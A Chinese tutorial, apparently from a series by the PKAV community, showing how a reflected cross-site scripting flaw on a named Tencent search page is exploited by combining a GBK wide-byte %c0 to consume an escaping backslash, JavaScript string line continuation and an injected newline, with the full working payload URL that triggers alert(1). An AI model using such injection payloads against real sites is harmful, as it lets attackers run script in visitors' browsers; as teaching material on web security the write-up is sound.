7.宽字节、反斜线与换行符一起复仇记

作者:心伤的瘦子

来自:PKAV技术宅社区

网址:http://www.pkav.net

---------------------------------------------------------------------------

简要描述:

这一次,3个家伙一起上啦~

详细说明:

1.实例点如下:

http://cgi.data.tech.qq.com/index.php?mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138,138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=aaaaaaaaaaaa

老规矩,继续看我们的输出

2.一共有3处输出,位于HTML属性里的那一处,我们放弃了,因为双引号被灭掉了。那么还剩下2处。都是位于<script>..</script>里,而且挨在了一起

3.先看第2处,是不是似曾相似啊?对的,教程6里刚刚遇到过。那就是输出在【注释】的情况。我们用换行符试试?

(PS:输出在【注释】的情况---》原理是什么?不清楚,做个笔记。)

4.一条是好消息,换行可以用,一条是坏消息。。下面出现的一句坏了我们的好事。。肿么办。5.这个时候,我们需要先说点javascript的知识

javascript,字符串允许下面多行的写法

vara="我是一个字符串\

我还是一个字符串";

alert(a);

6.基于这点,我们可以把缺陷点构造成下面的样子。

//document.getElementById("order_select").value="aaaa\

alert(1);//";

varsearchOrder="aaaa\

alert(1);//";

解析:

 

7.带着这个想法,请上我们的反斜线

8.悲剧的是,反斜线被过滤成了2个\\,这下不好办了。

9.还记得在教程4里,我们提到的宽字节用法么?说到了%c0可以吃掉%5c

我们看看页面的编码

<metahttp-equiv="Content-Type"content="text/html;charset=gb2312"/>

gbxxx系列的啊,窃喜中

10.于是,我们的%c0也加入战斗了

http://cgi.data.tech.qq.com/index.php?mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138,138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=aaaa%c0%5c%0aalert(1);//

看看源码中的输出。\\被我们变成了乱码+\

11.最后弹窗,见漏洞证明

 

12.修复方案:

参加前面教程4,5,6

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值